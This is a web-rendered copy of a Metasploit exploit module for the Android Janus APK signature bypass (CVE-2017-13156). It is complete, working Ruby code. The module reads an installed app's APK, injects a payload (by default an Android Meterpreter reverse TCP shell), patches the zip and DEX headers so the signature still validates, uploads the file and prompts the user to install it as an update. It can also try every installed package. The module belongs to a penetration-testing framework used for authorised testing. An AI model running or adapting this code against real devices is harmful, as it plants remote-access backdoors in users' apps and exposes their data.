CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/android/local/janus.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ManualRanking
8
9
include Msf::Exploit::FileDropper
10
include Msf::Post::File
11
include Msf::Post::Android::Priv
12
include Msf::Payload::Android
13
prepend Msf::Exploit::Remote::AutoCheck
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
{
20
'Name' => "Android Janus APK Signature bypass",
21
'Description' => %q{
22
This module exploits CVE-2017-13156 in Android to install a payload into another
23
application. The payload APK will have the same signature and can be installed
24
as an update, preserving the existing data.
25
The vulnerability was fixed in the 5th December 2017 security patch, and was
26
additionally fixed by the APK Signature scheme v2, so only APKs signed with
27
the v1 scheme are vulnerable.
28
Payload handler is disabled, and a multi/handler must be started first.
29
},
30
'Author' => [
31
'GuardSquare', # discovery
32
'V-E-O', # proof of concept
33
'timwr', # metasploit module
34
'h00die', # metasploit module
35
],
36
'References' => [
37
[ 'CVE', '2017-13156' ],
38
[ 'URL', 'https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures' ],
39
[ 'URL', 'https://github.com/V-E-O/PoC/tree/master/CVE-2017-13156' ],
40
],
41
'DisclosureDate' => '2017-07-31',
42
'SessionTypes' => [ 'meterpreter' ],
43
'Platform' => [ 'android' ],
44
'Arch' => [ ARCH_DALVIK ],
45
'Targets' => [ [ 'Automatic', {} ] ],
46
'DefaultOptions' => {
47
'PAYLOAD' => 'android/meterpreter/reverse_tcp',
48
'AndroidWakelock' => false, # the target may not have the WAKE_LOCK permission
49
'DisablePayloadHandler' => true,
50
},
51
'DefaultTarget' => 0,
52
'Notes' => {
53
'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS],
54
'Reliability' => [],
55
'Stability' => [SERVICE_RESOURCE_LOSS], # ZTE youtube app won't start anymore
56
},
57
'Compat' => {
58
'Meterpreter' => {
59
'Commands' => %w[
60
appapi_app_install
61
]
62
}
63
}
64
}
65
)
66
)
67
register_options([
68
OptString.new('PACKAGE', [true, 'The package to target, or ALL to attempt all', 'com.phonegap.camerasample']),
69
])
70
end
71
72
def check
73
os = cmd_exec("getprop ro.build.version.release")
74
unless Rex::Version.new(os).between?(Rex::Version.new('5.1.1'), Rex::Version.new('8.0.0'))
75
vprint_error "Android version #{os} is not vulnerable."
76
return CheckCode::Safe
77
end
78
vprint_good "Android version #{os} appears to be vulnerable."
79
80
patch = cmd_exec('getprop ro.build.version.security_patch')
81
if patch.empty?
82
print_status 'Unable to determine patch level. Pre-5.0 this is unaccessible.'
83
elsif patch > '2017-12-05'
84
vprint_error "Android security patch level #{patch} is patched."
85
return CheckCode::Safe
86
else
87
vprint_good "Android security patch level #{patch} is vulnerable"
88
end
89
90
CheckCode::Appears
91
end
92
93
def exploit
94
def infect(apkfile)
95
unless apkfile.start_with?("package:")
96
fail_with Failure::BadConfig, 'Unable to locate app apk'
97
end
98
apkfile = apkfile[8..-1]
99
print_status "Downloading APK: #{apkfile}"
100
apk_data = read_file(apkfile)
101
102
begin
103
# Create an apk with the payload injected
104
apk_backdoor = ::Msf::Payload::Apk.new
105
apk_zip = apk_backdoor.backdoor_apk(nil, payload.encoded, false, false, apk_data, false)
106
107
# Extract the classes.dex
108
dex_data = ''
109
Zip::File.open_buffer(apk_zip) do |zipfile|
110
dex_data = zipfile.read("classes.dex")
111
end
112
dex_size = dex_data.length
113
114
# Fix the original APKs zip file code directory
115
cd_end_addr = apk_data.rindex("\x50\x4b\x05\x06")
116
cd_start_addr = apk_data[cd_end_addr + 16, cd_end_addr + 20].unpack("V")[0]
117
apk_data[cd_end_addr + 16...cd_end_addr + 20] = [ cd_start_addr + dex_size ].pack("V")
118
pos = cd_start_addr
119
while pos && pos < cd_end_addr
120
offset = apk_data[pos + 42, pos + 46].unpack("V")[0]
121
apk_data[pos + 42...pos + 46] = [ offset + dex_size ].pack("V")
122
pos = apk_data.index("\x50\x4b\x01\x02", pos + 46)
123
end
124
125
# Prepend the new classes.dex to the apk
126
out_data = dex_data + apk_data
127
out_data[32...36] = [ out_data.length ].pack("V")
128
out_data = fix_dex_header(out_data)
129
130
out_apk = "/sdcard/#{Rex::Text.rand_text_alphanumeric 6}.apk"
131
print_status "Uploading APK: #{out_apk}"
132
write_file(out_apk, out_data)
133
register_file_for_cleanup(out_apk)
134
print_status "APK uploaded"
135
136
# Prompt the user to update the APK
137
session.appapi.app_install(out_apk)
138
print_status "User should now have a prompt to install an updated version of the app"
139
true
140
rescue => e
141
print_error e.to_s
142
false
143
end
144
end
145
146
if datastore["PACKAGE"] == 'ALL'
147
vprint_status('Finding installed packages (this can take a few minutes depending on list of installed packages)')
148
apkfiles = []
149
all = cmd_exec("pm list packages").split("\n")
150
c = 1
151
all.each do |package|
152
package = package.split(':')[1]
153
vprint_status("Attempting exploit of apk #{c}/#{all.length} for #{package}")
154
c += 1
155
next if ['com.metasploit.stage', # avoid injecting into ourself
156
].include? package # This was left on purpose to be expanded as need be for testing
157
158
result = infect(cmd_exec("pm path #{package}"))
159
break if result
160
end
161
else
162
infect(cmd_exec("pm path #{datastore["PACKAGE"]}"))
163
end
164
end
165
end
166
167